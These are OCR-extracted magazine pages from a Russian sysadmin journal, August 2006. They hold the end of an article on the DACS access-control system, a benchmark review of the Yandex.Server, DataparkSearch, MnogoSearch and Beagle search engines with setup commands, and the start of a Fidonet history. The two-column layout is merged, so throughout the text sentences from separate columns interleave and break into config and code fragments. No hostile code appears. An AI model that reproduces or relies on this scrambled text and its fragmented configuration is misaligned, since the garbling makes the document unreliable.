Можно задавать и более развет- ме полученных из внутренней сети,
%HOME::SALES:friends вленные конструкции, список всех т.е. пользователь из внешней всегда
%::SALES:friends
%SALES:friends поддерживаемых операторов найде- будет анонимным:
%:friends те в документации.
Например, для всех не sergej и не- revoke not from("192.168.1.0/24")
Понятие группы в контексте DACS авторизованных список будет выгля-
имеет двойное значение. С одной деть так: После того как будет обработан
стороны, это списки пользователей revocation list, модуль ведет просмотр
в обычном понимании, с другой сто- user("not *:sergej and noauth") правил контроля дост упа. Типич-
роны, здесь могут быть указаны роли, ное правило состоит из двух частей –
под которыми здесь понимают инфор- При создании более сложных конс- services и rule – и должно быть интуи-
мацию о членстве конкретного пользо- трукций можно создавать списки поль- тивно понятно.
вателя в группах. В юрисдикции можно зователей (user_list).
определить любое количество групп, <acl_rule>
<services>
на которые можно ссылаться в груп- Правила контроля доступа <service url_pattern= ↵
пах и правилах в других юрисдикци- Компонентом, отвечающим за получе- "/cgi-bin/*"/>
</services>
ях. То есть когда DACS нужно решить, ние решений о доступе, является сер-
к какой группе принадлежит сделав- вис контроля доступа DACS (access <rule order="allow,deny">
<allow>
ший запрос пользователь, система control service – ACS). Реализован user("auth")
обращается к локальным группам, ро- при помощи программы dacs_acs. Пос- </allow>
</rule>
ли, соответствующей пользователю, ле успешной авторизации пользовате- </acl_rule>

№8, август 2006 77

 web
Кроме того, DACS предоставля- DACS, для генерирования credentials альности. DACS может быть установ-
ет возможность делегировать права используется команда autologin, ко- лен в принципе на любую UNIX-плат-
на определенный ресурс другому поль- торая позволяет DACS использовать форму, где можно найти работающий
зователю. Выглядит это так: любой из существующих методов ау- компилятор GCC 3.3/3.4.
тентификации Apache при сохранении На сайте дается информация,
<delegate url_pattern="/cgi-bin ↵ простоты конфигурации. Кроме того, что DACS успешно протестирован с та-
/myprog" rule_uri="my_acls"/>
начиная с версии 1.4.13, DACS подде- кими дистрибутивами и платформа-
рживает еще одну систему аутенти- ми CentOS (Red Hat Enterprise) Linux
Возможности фикации Central Authentication Service (AMD64), Solaris 10 (SunOS 5.10, x86),
по аутентификации (CAS), разрабатываемую проектом FreeBSD 5.X и 6.X (i686) и частично ис-
Управление аутентификацией пользо- JA-SIG [5]. Кратко сервер CAS позво- пытана с Cygwin. Я собирал систему
вателя является еще одной из сильных ляет реализовать режим однократной DACS на ALTLinux 3.0 и Slackware 10.1.
сторон системы безопасности DACS. регистрации всем легальным пользо- На клиентской стороне не требуется
Непосредственно за аутентификацию вателям для доступа к любому ресур- установки специфичного программно-
отвечает юрисдикция, которой прина- су (web, почта и пр.) путем реализа- го обеспечения.
длежит пользователь и который, ес- ции режима прокси-аутентификации,
тественно, должен быть ей известен. посредством ticket (эта система силь- Что имеем?
В разных юрисдикциях в пределах но напоминает Kerberos). CAS также Из всего сказанного можно сделать
федерации не обязательно использо- поддерживает все доступные сегод- вывод о том, что система DACS обла-
вать один и тот же способ аутентифи- ня варианты аутентификации. Кроме дает достаточно мощными возможнос-
кации. Администратор сам волен вы- того, как уже говорилось, можно со- тями при достаточной гибкости в на-
бирать наиболее подходящий способ здать более тонкое описание пара- стройках. Правда, для администрато-
или их комбинацию, исходя из конк- метров доступа к ресурсам, в зависи- ра это означает, что придется провес-
ретных условий. При этом DACS уже мости от IP-адреса, доменного имени, ти не один час за первоначальной на-
имеет встроенные модули аутенти- даты и времени суток, используемого стройкой всей системы. Имеет смысл
фикации, но при необходимости мож- метода аутентификации, расширения использовать DACS в том случае, ког-
но использовать и имеющие в веб-сер- файла и прочих параметров. То есть да необходимо организовать доступ
вере Apache. фактически задать персональные па- пользователей к нескольким серве-
Для обмена данными между сер- раметры для доступа к любому ресур- рам. Затраты на установку и настрой-
висом аутентификации DACS и мо- су. После успешной регистрации на ос- ку затем с лихвой окупятся простотой
дулем аутентификации используется новании данных пользователя (имени, сопровождения. Также, вероятно, име-
XML-протокол. Модуль аутентифика- группы, роли и т. д.) могут быть выпол- ет смысл использовать DACS для то-
ции сообщает DACS об успешной ау- нены некоторые действия, например, го, чтобы унифицировать различные
тентификации и имени пользователя перенаправление на определенную схемы аутентификации. Проект пре-
(через переменную REMOTE_USER), веб-страницу, необходимые для этого доставляет большое количество до-
пользователь Apache при этом авто- параметры сохранены в переменной кументации, которая, по моему мне-
матически преобразуется в пользо- AUTH_SUCCESS_HANDLER. Все за- нию, несколько запутанна, хотя, ве-
вателя DACS. DACS расширяет стан- просы регистрируются в контрольном роятно, это связано с наличием мно-
дартные возможности по аутентифи- журнале. гочисленных понятий и вариантов на-
кации Apache. Так DACS может удос- строек. В документе «DACS Quick Start
товерить пользователя, используя не- Совместимость Tutorial» сказано, что тестовую конфи-
сколько методов: и требования гурацию можно собрать всего за 30
 сертификат X.509 (через SSL); Актуальной на момент написания ста- минут. Так ли это? Проверим в следу-
 паролей UNIX или Apache (создан- тьи является версия 1.4.13а с датой ре- ющий раз.
ных утилитами htpasswd, htdbm лиза 2 июня 2006. Буква «а» появилась Успехов.
или htdigest); в результате небольшого недоразуме-
 Windows NT LAN Manager (NTLM); ния, когда после релиза 1.4.13, состо- 1. Мичурин А. Базовая HTTP-авториза-
 Microsoft Active Directory или LDAP; явшегося днем раньше, была обнару- ция – защита от честных людей //«Сис-
 системы Pluggable Authentication жена ошибка, при определенных оп- темный администратор», № 5, 2005 г. –
Modules (PAM); циях завершающая конфигурирова- С. 88 – 92.
 собственной базы логинов и паро- ние с ошибкой (Invalid boolean result 2. Мичурин А. В чем сильные и слабые
лей; value). Если DACS используется для стороны HTTP digest-авторизации
 тождества установленного любым веб-аутентификации то для его уста- //«Системный администратор», № 10,
модулем аутентификации Apache; новки потребуется Apache 2.0.х (жела- 2005 г. – С. 44-51.
 внешней программы; тельна последняя версия 2.0.58) и на- 3. Сайт DSS – http://www.dss.ca.
 комбинируя стили. чиная с 1.4.13а уже возможно исполь- 4. Сайт National Forest Information System –
зование Apache 2.2. Поддержка вер- http://www.nfis.org.
Basic- и digest-аутентификация мо- сии 1.3 уже закончена, как говорят раз- 5. Сайт проекта CAS – http://www.ja-sig.
жет обрабатываться непосредственно работчики, по причине малой ее акту- org/products/cas/index.html.

78
 web

Тестируем движки поисковых машин

Иван Максимов
Большинство из вас каждый день пользуется поисковыми машинами в Интернете.
Какие они изнутри? Чем они отличаются?

Р
азные компании, разрабатыва- 2500+, 512 DDR 3200 (DUAL), HDD поративные, предназначенные для ра-
ющие поисковые движки, пыта- 160 Гб WesternDigital SATA (8 Мб кэш, боты с множеством клиентов и группой
ются занять ниши на рынке, кто- 7200 оборотов). Именно этот докумен- ресурсов. К ним можно отнести рас-
то совершенствует пользовательский тооборот мы и будем индексировать. сматриваемые далее движки Yandex.
интерфейс, другие заботятся о скоро- Возможно, кто-то задастся вопросом: Server, DataparkSearch, Mnogosearch,
сти работы и функциональности, тре- «Мы рассматриваем движки поиско- ASPseek и htdig. Вторые – пользова-
тьи пытаются охватить все популярные вых машин, почему бы не тестировать тельские, предназначенные для об-
платформы, а другие собирают все пе- их на реальных внешних ресурсах, на- легчения поиска информации на ком-
речисленные возможности. Некото- пример на www.samag.ru?» Сделано пьютере пользователя. В связи с тем,
рые разработчики поисковых движков это для того, чтобы максимально не за- что пользовательские движки поиско-
не выдерживают конкуренции и выхо- висеть от пропускной способности ка- вых машин под ОС Linux плохо освеще-
дят из борьбы, иные переходят частич- нала. Поисковые машины будут уста- ны в Интернете, и для полноты карти-
но или полностью на «коммерческие навливаться на практически идентич- ны данного обзора я также рассмотрю
рельсы». Надеюсь, обзор прольет свет ную машину, расположенную в данной движок Beagle (как наиболее «сильно-
на некоторые проекты, продемонстри- сети. Пропускная способность локаль- го» представителя группы).
рует их преимущества и недостатки ной сети 100 Мб (half duplex).
в различных задачах. Все движки будут тестировать- Yandex.Server
ся с максимально едиными услови- Известный многим движок поисковой
Задача. Файловый сервер ями, но все же отличными. Связано машины Яндекс – коммерческий про-
В сети имеется файловый сервер под это с тем, что разные движки облада- ект. Для ознакомления существует
управлением ОС Linux. Для совмести- ют различным функционалом, инстру- shareware-версия движка, которую мы
мости с различными задачами на сер- ментарием, некоторые иногда в чем-то и рассмотрим. К сожалению, пробная
вере установлены популярные пакеты ограничены (коммерческие версии). версия во многом ограничена.
samba и proftpd. Количество докумен- В конце обзора каждого движка будут Установить движок можно под опе-
тов – около 2 тысяч (занимаемый раз- даны примерные сравнительные ха- рационные системы FreeBSD, Linux,
мер на диске примерно 1,5 Гб), раз- рактеристики. Solaris, Windows. По заявлениям
личных форматов (txt, html, doc, xls, Итак, приступим к обзору, уста- разработчиков, при заказе версии
rtf), используется файловая система новке, конфигурированию и сравне- Professional возможно портирование
reiserfs (3-я версия). Отмечу, что боль- нию движков. движка практически под любую плат-
шая часть документов (около 80-85%) форму заказчика.
состоит из форматов MS Excel (xls) Обзор поисковых машин Рассмотрим установку движка под
и MS Word (doc). Аппаратное обеспе- Движки поисковых машин можно от- Linux из tgz-архива. Скопируем и ра-
чение файлового сервера: AMD Athlon нести к двум категориям. Первые – кор- зархивируем Яndex.Server Standard.

80
 web
Распаковывать архив лучше в корень диска:

gzip -d name.tgz /
tar -xvf name.tar /

Движок сконфигурирован на работу в директори-

ях /etc/rc.d/inid.d, /usr/local/yandex и /usr/local/sbin/yandex.
Если вам необходимо расположить все файлы в удобном
для вас месте, отредактируйте параметры рабочих ди-
Рисунок 1. Примеры форм поисковых движков
ректорий WORK_DIR и YANDEX в файле yandex.sh. Пер-
вое, что сразу бросается в глаза после установки, – от-
сутствие исходных кодов столь привычных пользовате-
лям открытых систем. Заглянем в файл конфигурации
yandex.cfg.dist (расположенный в папке движка). Все ком-
ментарии на русском языке, никаких проблем возникнуть
не должно. Файл разделен на две секции server (парамет-
ры работы серверной части движка) и collection (парамет-
ры индексирования).
Для начала работы движка необходимо создать файл
yandex.cfg из файла шаблона yandex.cfg.dist и отредакти-
ровать параметры в секции collection: StartUrls (индексиру-
емый ресурс) и IndexLog (запись результатов индексиро-
вания), а в секции server – Serverlog (запись отчета работы Рисунок 2. Администрирование Yandex.Server
сервера). По умолчанию многие подсекции закомментиро-
ваны, допустим, для индексации text/plain формата нужно вертированы пакетами catdoc и unrtf в формат txt. Итак, ин-
удалить в подсекции DocFormat символы <!-- и --> (или за- дексирование 2000 документов (text/plain) объемом 170 Мб
комментировать их символом #). заняло чуть менее 2 минут. Очень впечатляющая скорость,
Добавим форму поиска на заглавную страницу нашего но есть подозрения, что обработка тех же файлов в их ис-
apach сервера (см. рис. 1): ходных форматах (xls, doc, rtf их объем в 5-7 раз больше)
займет время, пропорциональное размеру файлов, плюс
<FORM METHOD=GET ACTION="http://HOST:17000/"> время работы внешнего модуля (парсета). Время поиска
<INPUT TYPE="text" NAME="text" VALUE="">
<INPUT TYPE="submit" VALUE="Search"> по базе также феноменально – менее секунды.
</FORM>
DataparkSearch
HOST – имя ресурса с Yandex-сервером. Теперь поиск до- В статье «Возможности поискового движка DataparkSearch»
ступен для пользователей нашей локальной сети. [8] мы уже рассматривали установку поисковой маши-
И та к, п р о г р а м м а н ас т р о е н а, з а п ус т и м с к р и п т ны, поэтому я коснусь лишь новых моментов, появивших-
«yandex.sh start» и зайдем на ресурс http://localhost:17000/ ся в движке. Последняя стабильная версия (на момент на-
admin (см. рис. 2). Перед нами появится веб-интерфейс, писания статьи) 4.40.1, версия снапшота 4.41 от 16.07.2006,
состоящий всего из трех основных функций: запуска ин- как уже было отмечено, обновление и исправление движ-
дексирующего «паука», открытия доступа пользовате- ка происходят достаточно оперативно. Какие интересные
лям к поисковый машине и остановки Yandex.Server. Ес- и полезные функции были добавлены после версии 4.38?
ли все настройки были выполнены правильно, можно на- Была улучшена работа движка в режиме cache, добав-
чать индексирование и запускать поиск для пользовате- лена возможность сборки модуля mod_dpsearch для веб-
лей (см. рис. 3). сервера Apache без пересборки всего движка. Послед-
Хотелось бы отметить, что проблем и неудобств в кон- нее нововведение было сделано в связи с тем, что мно-
фигурировании движка не возникало. Простая настройка гие пользователи вначале конфигурируют поисковый дви-
и качественная документация – это несомненно огромные жок для работы без модуля, а позже, желая достичь мак-
плюсы. Также к преимуществам относится высокая ско- симальной производительности (или просто «посмотреть,
рость движка: время индексации и поиска осуществляет- как это работает»), пересобирают весь движок для полу-
ся в очень короткое время, но об этом позже. Неприятным чения mod_dpsearch. На данный момент некоторые новов-
моментом оказалось то, что в shareware-версии достаточ- ведения не вошли в официальную документацию движка,
но много ограничений, например, нет возможности редак- поэтому ниже будет приведен пример компиляции модуля
тировать файл результатов поиска, как и добавление до- для веб-сервера Apache. Раз уж зашел разговор о доку-
полнительных модулей (парсетов) для обработки иных ти- ментации, отмечу, что на веб-сайте проекта выложена до-
пов файлов (doc, xls, rtf и другие). кументация по версии движка 4.39, в самом же дистрибу-
Так как в shareware-версия движка нет возможности ин- тиве находится обновленная для последней версии 4.41,
дексировать форматы, отличные от HTML и text plain для так что будьте внимательны.
проведения тестирования по скоростным характеристикам Итак, чем же достигается большая скорость работы
и получения «чисел», все xls-, doc-, rtf-документы были кон- движка за счет данного модуля? mod_dpsearch совмещает

№8, август 2006 81

 web
Рисунок 3. Пример результата поиска Yandex.Server
в себе функции searchd и search.cgi. Первый хранит в памя-
ти некоторые загруженные данные, без него движок каждый
раз при запросах будет читать информацию с диска. Вто-
рой файл – скрипт поиска и выборки информации из СУБД,
как правило, каждый раз загружается с жесткого диска. Мо-
дуль хранит большинство данных в памяти, а не подгружает
постоянно с жесткого диска нужную информацию, за счет
этого и достигается большая эффективность движка. Рас-
смотрим теперь конфигурирование.
После распаковки движка запустим конфигуратор
не скриптом мастером установки (install.pl), а иначе:
# ./configure –enable-apachecacheonly
Далее компиляция происходит стандартными коман-
дами «make && make install». Новоиспеченный откомпили-
рованный модуль будет располагаться вместе с осталь-
ными модулями веб-сервера в папке /etc/httpd/modules/
(или /etc/httpd/libexec/). Теперь добавим в файл конфигура-
ции apach сервера (скорее всего /etc/httpd/conf/httpd.conf)
информацию о модуле:
# Директивы загрузки
LoadModule dpsearch_module modules/mod_dpsearch.so
AddModule mod_dpsearch.c
# Конфигурационные файлы модуля
<Ifmodule mod_dpsearch.c>
DataparkSearchdConf /usr/local/dpsearch/etc/modsearchd.conf
<Location /search>
SetHandler dpsearch
DataparkSearchTemplate ↵
/usr/local/dpsearch/etc/modsearch.htm
</Location>
<Location /storedoc>
SetHandler dpstoredoc
DataparkStoredocTemplate ↵
/usr/local/dpsearch/etc/modstoredoc.htm
</Location>
</IfModule>
Как вы видите, конфигурационные файлы – это копии
файлов без приставки «mod», расположенных в директо-
рии etc движка, достаточно просто скопировать их и все,
модуль готов к работе. Так как примеры конфигурацион-
ных файлов были описаны в предыдущей статье, не буду
82
к ним возвращаться, также напомню,
что не стоит забывать про штатную до-
кументацию движка.
Запустим веб-сервер командой
«service httpd start», обратимся по адре-
су localhost/search, перед нами появится
форма поиска движка DataparkSearch.
Отмечу, что сами разработчики ре-
комендуют для наибольшей эффектив-
ности работы комплекса использовать
именно mod_search совместно с режи-
мом хранения cache.
В предыдущей статье уже были
представлены скоростные характерис-
тики движка, но для примерного сравне-
ния все же повторюсь, индексирование
примерно 2000 файлов (txt, html, doc, xls,
rtf) в режиме хранения данных cache за-
нимает примерно 30 минут. При добав-
лении модуля mod_search скорость поиска практически
не выросла, около одной секунды. Возможно, при большем
количестве данных и построении сложных поисковых за-
просов эффективность от использования модуля для сер-
вера Apache будет более наглядна.
MnogoSearch
MnogoSearch[3] – это многим известный и распростра-
ненный движок, входящий в комплект некоторых дистри-
бутивов Linux. Возможна установка движка под Windows
и Linux/BSD-платформы в «связке» с различными SQL
СУБД (MS Access, MySQL, PostgreSQL, Interbase, MS SQL,
Oracle и другие).
При первом взгляде на MnogoSearch сразу бросается
в глаза схожесть с его клоном – DataparkSearch, но это не сов-
сем так. Ознакомившись с функционалом и настройками
данной поисковой машины, вы в этом убедитесь.
Для работы понадобится MySQL и веб-сервер Apache.
После распаковки архива движка вы видите уже знакомый
нам файл install.pl (мастер конфигурирования), запустим его
и ответим на все необходимые вопросы, такие как выбор
пути установки движка, SQL СУБД и другие.
Далее откомпилируем движок стандартными ко-
мандами «make && make install». Перейдем в дирректо-
рию с установленным движком. Первое, что можно за-
метить, – практически идентичность папок и файлов
с DataparkSearch, даже при беглом осмотре конфигураци-
онных файлов (indexer.conf и search.htm) это мнение уси-
ливается. Сразу хочу предупредить пользователей, рабо-
тающих с DataparkSearch, не следует копировать конфи-
гурационные файлы в MnogoSearch, при кажущейся од-
нотипности движки очень разные. Конечно, из экспери-
мента можно сделать так – переписывать, переконфигури-
ровать и добавлять информации придется много, намно-
го проще взять готовые шаблоны файлов MnogoSearch
и исправить параметры под свои задачи. Но мы отвлек-
лись, продолжим настройку.
Создадим базу данных в MySQL командой:
sh$ mysqladmin create search

Если у вас не создан пользователь в MySQL, то создай-
те его:
sh$mysql --user=root mysql
mysql> GRANT ALL PRIVILEGES ON *.* TO пользователь@localhost
IDENTIFIED BY 'пароль' WITH GRANT OPTION;
exit
Для минимальной конфигурации движка необходимо
indexer.conf-dist (шаблон, находящийся в папке etc относи-
тельно движка) переименовать в indexer.conf и изменить не-
которые параметры. Первое и необходимое – указываем
используемую СУБД, имя и пароль пользователя в MySQL,
название базы данных и используемый режим хранения
данных (о dpmode будет рассказано позже).
DBAddr mysql://пользователь:пароль@localhost/search/ ↵
?dbmode=режим
Так как мы будем индексировать txt-, html-, doc-, xls-,
rtf-файлы, то закомментируйте строки, запрещающие
их индексацию:
#Disallow *.tex *.texi *.xls *.doc *.texinfo
#Disallow *.rtf *.pdf *.cdf *.ps
web
установить до начала индексации. Если необходимо обра-
батывать иные типы файлов, то нужно установить и другие
парсеты (пакеты), более подробно мы говорили о них в пре-
дыдущей статье, поэтому не будем рассматривать этот воп-
рос (информацию с некоторыми примерами о парсетах мож-
но также найти в документации).
Второй файл конфигурации – это search.htm, состо-
ит из двух основных блоков, первый содержит данные
для скрипта search.cgi, второй – дизайн шаблона выво-
да информации. Необходимо изменить параметр DBAddr,
он должен совпадать с таким же в indexer.conf
DBAddr mysql://пользователь:пароль@localhost/searchmn/ ↵
?dbmode=режим
Если указанные параметры будут иными, движок вмес-
то вывода искомой информации сообщит вам о соответс-
твующей ошибке. Это наиболее распространенная ошиб-
ка при конфигурировании движка, поэтому будьте внима-
тельны.
Скопируем search.cgi из директории bin движка в дирек-
торию cgi-bin веб-сервера и пропишем форму для вызова
скрипта в index.shtml:

Также необходимо расскомментировать три строки, от- <FORM METHOD=GET ACTION="/cgi-bin/search.cgi">

<INPUT TYPE="text" NAME="q" VALUE="">
вечающие за конвертацию офисных форматов в формат <INPUT TYPE="submit" VALUE="Search">
text, понятный MnogoSearch: </FORM>

Mime application/msword "text/plain; ↵ Минимальное конфигурирование выполнено, можно со-

charset=utf-8" "catdoc -a -dutf-8 $1"
Mime application/vnd.ms-excel text/plain "xls2csv $1" здать SQL-таблицы и начать индексацию. Команда:
Mime "text/rtf*" text/html ↵
"rthc --use-stdout $1 2>/dev/null"
./indexer -Ecreate
И последнее – укажем индексируемый ресурс:
создаст все необходимые записи в MySQL, если появи-
Server ftp://192.168.0.11/ лись сообщения об ошибке – внимательно посмотрите вы-
ходную информацию выше, чаще всего это ошибки об от-
Конфигурационный файл не приведен здесь целиком сутствии доступа.
из-за большего объема, но если вы желаете достичь боль-
шей функциональности «паука», реко-
мендуется ознакомиться с сопроводи-
тельной документацией.
Теперь подробнее о режимах dpmode.
В MnogoSearch с версии 3.2.16 отклю-
чена поддержка режима cache в свя-
зи с найденными там ошибками, дан-
ный режим был заменен на blob. Имен-
но его и рекомендуют использовать раз-
работчики, но если верить документа-
ции, движок в данном режиме не рабо-
тает с СУБД Interbase/Firebird и SQLite.
На мой взгляд, это упущение, так как
Firebird становится все более и более
распространенной базой данных. Ис-
пользование более медленного режима
dpmode – multi сильно тормозит движок,
но позволяет использовать его с Firebird.
Очень хочется надеяться, что разработ-
чики решат данную задачу.
Должен напомнить, что пакеты catdoc
и rthc – внешние программы, их нужно Рисунок 4. Пример результата поиска MnogoSearch

№8, август 2006 83

 web

О движках, не вошедших в обзор...
...Но весьма интересных. В статье [8] я упо-
минал некоторые поисковые машины, та-
кие как Wordindex [5], ASPseek [6], htdig [7]
и другие. Из перечисленных, но не вошед-
ших в сегодняшний обзор, стоит выделить
ASPseek и hidig. Почему именно они?
ASPseek уже успел устареть, послед-
няя официальная версия движка вышла
в 2002 году, но на форуме сайта можно
встретить энтузиастов, которые помогают
с поддержкой движка. Официальный ре-
лиз версии 1.2.10 достаточно проблема-
тично поставить на новые дистрибутивы
Linux и *BSD-систем, одно из затруднений –
ошибки при компиляции в gcc3 (и особенно
4 версии), но обратившись на форум мож-
но найти ссылки на измененные версии
движка, которые вполне работоспособны.
Как мы видим, ASPseek еще использует-
ся и дорабатывается, несмотря на отсутс-
твие официальной поддержки. Хотелось бы
напомнить, что стоит «доверять, но прове-
рять» неофициальные снапшоты любого
программного обеспечения.
Htdig – движок поисковой машины ос-
тается все еще популярным (для обра-
ботки небольших объемов данных), не-
смотря на то, что последний официаль-
ный релиз был в 2004 году. Хорошим при-
мером работы движка, можно считать
то, что он помогает обеспечивать рабо-
ту достаточно популярного и многим из-
вестного портала – www.opennet.ru. Как
можно увидеть на странице-путеводите-
ле (http://www.opennet.ru/guide.shtml), htdig
хорошо справляется с объемом данных
в 1,5 Гб, ну а о качестве работы движка
можно судить там же.

Для начала индексации просто запустите indexer, если
вы хотите проиндексировать небольшое количество доку-
ментов, то запустите «indexer -n N», где N количество фай-
лов или с параметром «indexer -с N», где N время работы
«паука» в секундах.
Если используется режим dpmode – blob, то по окончании
работы «паука» нужно выполнить команду indexer – Eblob.
Теперь о скоростных характеристиках. Индексиру-
ются те же 2000 файлов, время индексации в режиме
dpmode-blob занимает чуть менее 20 минут. Время поис-
ка по базе около секунды. Пример результатов поиска
MnogoSearch смотрите на рис. 4.
дачей. Настройка из консоли осуществляется утилитой
beagle-config, немного сложнее, чем в графическом режиме,
но опытные пользователи ОС Linux так же быстро разберут-
ся со всеми параметрами. Рассмотрим пару примеров:
beagle-config indexing AddRoot /mnt/disk2
где indexing – необходимый конфигурационный файл,
AddRoot – секция и последний параметр – путь к индекси-
руемой папке.
beagle-config indexing AddExclude pattern file.xxx

Beagle В примере мы добавляем одно исключение – на за-

Поисковая машина хорошо знакома пользователям ОС прет индексации файлов «file.xxx». Некоторые примеры
SUSE Linux от Novell. Именно в этот дистрибутив включен и полный синтаксис команд вы можете найти в сопроводи-
по умолчанию «поисковик». Но это не значит, что Beagle [4] тельной документации движка и быстрой справке по отде-
нельзя использовать в других Linux-дистрибутивах, на офи- льным утилитам.
циальном сайте проекта имеются рекомендации по ус- Пользователи, предпочитающие все настраивать вруч-
тановке движка под Debian, Mandrake (известный теперь ную и не доверяющие всевозможным мастерам настрой-
как Mandriva), Gentoo, Ubuntu и другие. Замечу, что если вы ки, могут самостоятельно отредактировать конфигураци-
пользуетесь SUSE Linux, то без особого труда установите онные файлы Beagle (их всего пять: indexing.xml, daemon.
движок. А пользователям других дистрибутивов Linux при- xml, searching.xml, networking.xml и webservices.xml), рас-
дется устанавливать большое количество пакетов. Итак, ска- положенные в папке configure движка. Не стану приво-
чав данную поисковую машину, откомпилируем ее стандар- дить примеры всех этих файлов, остановлюсь только
тными командами «configure, make && make install» и присту- на indexing.xml для ознакомления синтаксиса и одновре-
пим к ее конфигурированию. Настройка Beagle возможна менно проверим, занесла ли утилита beagle-config два на-
как в графическом режиме, так и в консоли. Запустим про- ших параметра:
грамму конфиг у-
рирования движка <?xml version="1.0" encoding="utf-8"?>
<IndexingConfig xmlns:xsd="http://www.w3.org/2001/XMLSchema" ↵
beagle-settings, пе- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
ред нами появится <Roots>
<Root>/mnt/disk2</Root>
графический интер- </Roots>
фейс (см. рис. 5) <IndexHomeDir>true</IndexHomeDir>
<Excludes>
настройки: «горя- <ExcludeItem Type="Path" Value="/mnt/disk3/DENY" />
чей» клавиши для <ExcludeItem Type="Pattern" Value="file.xxx" />
</Excludes>
вызова поиска, па- </IndexingConfig>
пок для индекса-
ции и возможности В секции Root указывают индексируемые директории,
назначения исклю- тогда как Excludes содержит правила запретов индексиро-
чений, думаю боль- вания (путь к директории или название файла). Разобрать-
шинство пользова- ся в синтаксисе не так и сложно.
телей легко справ- Минимальное конфигурирование выполнено, для на-
Рисунок 5. Графический интерфейс
настройки Beagle ляется с этой за- чала индексации просто запустим демона beagled. В папке

84

log можно найти результаты индекси-
рования, файлы формируются в таком
виде: 2006-07-02-13-02-04-IndexHelper,
а не единым log-файлом. После окон-
чания индексации приступаем к поиску
информации. Возможен поиск по базе
как в графическом режиме, утилитой
beagle-search (см. рис. 6), так и в кон-
соли, программой beagle-query.
В комплект поставки Beagle вхо-
дит достаточно много вспомогатель-
ных утилит, например, beagle-index-info
выводит информацию о количестве
и типе проиндексированных докумен-
тов. С помощью Beagle-index-url мож-
но задать веб-ресурс для индексации.
Beagle-info выводит исчерпывающую
информацию о демоне beagle, соб-
ранной информации, установленных
фильтрах и так далее.
Должен заметить, что возможность
конфигурирования и поиска из консо-
ли позволяет устанавливать данный
движок на удаленный шелл и легко ис-
пользовать его в работе, при этом не
задействуя сервисов требующих пра-
ва суперпользователя (root). Время ин-
дексации примерно 2000 тысяч доку-
ментов равна 23 минутам. Огорчило
только время поиска по базе, простые
запросы beagle обрабатывает 3-4 се-
кунды, но не стоит забывать, что дви-
жок позиционируется как пользова-
тельский.
Итоги
Я не претендую на то, что все движ-
ки были идеально сконфигурирова-
ны, в каждом конкретном случае мож-
но добиться более впечатляющих ре-
зультатов (можно «выиграть» в скоро-
сти поиска по СУБД простой оптими-
Рисунок 6. Графический интерфейс утилиты beagle-search
№8, август 2006
web
Сравнительные характеристики поисковых движков (* напомню, что все файлы
были переведены из форматов xls, doc, rtf в формат text/plain)
Yandex.Server DataparkSearch MnogoSearch Beagle
Кросплатформенность Да Нет Да Нет
Русскоязычная документация Да Да Нет Нет
Многоязыковая поддержка индексации Да Да Да Да
Лицензия Windows Shareware – Shareware –
Лицензия *nix Shareware GNU GNU MIT
Время индексации < 2 мин.* < 30 мин. < 20 мин. < 25 мин.
Время поиска < 1 сек. < 1 сек. 1 сек. 2-3 сек.
зацией базы данных в MySQL). К сожа- MnogoSearch– полукоммерческий
лению, охватить все стороны выбран- проект с богатым функционалом, есть
ных движков в одной статье просто не- выбор версий движков и платформ. Дви-
возможно. Документация ко всем кор- жок давно уже успел себя зарекомендо-
поративным поисковым машинам со- вать. Индексация документов происхо-
ставляет сотни страниц, простое чте- дит достаточно быстро, но время поис-
ние этой информации займет несколь- ка по базе при больших объемах данных
ко дней. Но все же можно сделать не- и сложных запросах бывает очень боль-
которые выводы из полученных дан- шое. Не хватает движку документации
ных (см. таблицу). на русском языке, так как неискушенно-
Yandex.Server – из рассмотренных му пользователю разбираться в доста-
движков явный фаворит, время индек- точно сложных поисковых машинах все
сации и поиска минимальное. Отлич- же проще на родном языке.
ная документация, поддержка, крос- Beagle – простой пользователь-
сплатформенность, мощный функци- ский движок, предназначенный для
онал – большие плюсы. Движок мож- облегчения поиска информации на
но рекомендовать для крупных и хоро- локальном компьютере. Движок хоро-
шо финансируемых проектов. Компро- шо справляется с задачами, на кото-
мисс, конечно, есть всегда, существует рые он ориентирован. Немного огор-
несколько редакций движка, но полная чает время поиска по базе и некото-
версия движка все же дорога, по дан- рые проблемы при индексации доку-
ному поводу на форуме Yandex уже ментов MS Word (doc), о чем нас пре-
давно идут дебаты. дупреждают разработчики.
DataparkSearch – полностью сво- Примечательно, что все три корпо-
бодный проект, давно уже перестав- ративные поисковые машины Yandex,
ший быть клоном MnogoSearch. Основ- DataparkSearch, MnogoSearch– рос-
ное отличие и плюс – это mod_dpsearch сийские проекты, причем выбор обзо-
для веб-сервера Apache, за счет него ра был сделан не целенаправленно по
движок очень быстро обрабатывает данному критерию, а из соображений
при поиске большие объемы данных. «какие хорошие проекты рекоменду-
ют на просторах сети Интернет?». Ос-
тается только порадоваться за наших
разработчиков, движки развиваются
и поддерживаются.
1. Yandex – http://company.yandex.ru /
technology/products/yandex-server.xml.
2. DataparkSearch – http://www.datapark
search.org.
3. MnogoSearch – http://www.mnogosearch.ru.
4. Beagle – http://beagle-project.org.
5. Wordindex – http://wordindex.sourceforge.net.
6. ASPseek – http://www.aspseek.org.
7. Htdig – http://htdig.org.
8. Максимов И. Возможности поискового
движка DataparkSearch. //Системный ад-
министратор, №5, май 2006 г. – С. 80-84.
85
 ретроспектива
Сеть друзей: история Fidonet
Фидо… Для кого-то это слово – пустой звук, для многих из вас – часть жизни, пусть, быть
может, и прошлой. Но история первого в России компьютерного сообщества будет интересна
каждому.
История сети
1984 год. Компьютеры уже перестали
быть такими громоздкими, однако сеть
ARPAnet ещё не успела опутать земной
шар глобальной виртуальной «паути-
ной» и превратиться в Интернет. Это
будет потом, а пока немногочислен-
ные пользователи компьютеров об-
мениваются друг с другом информа-
цией и программным обеспечением
путем BBS. Напомню, BBS представ-
ляли собой электронные доски объ-
явлений, доступ к которым осущест-
влялся посредством модема и теле-
фонной линии.
В это время в Америке живут два
друга-компьютерщика: Том Дженнингс
(Thomas Jennings) и Джон Мэдилл
(John Madill). Поскольку Том находил-
ся в Сан-Франциско, а Джон – в Балти-
море, их общение сводилось главным
86
В тебе мы находим пpизванье сyдьбы,
С тобой yзнаем обо всем, от и до,
Чем дальше, тем больше становишься ты
Сынами своими; ты бог наш, ФИДО!
Гимн российского Fidonet
Илья Александров
образом к приватной переписке с по- написанного на приклеенном к мони-
мощью BBS. На дозвон по нужным но- тору стикере. Забегая вперед, скажу,
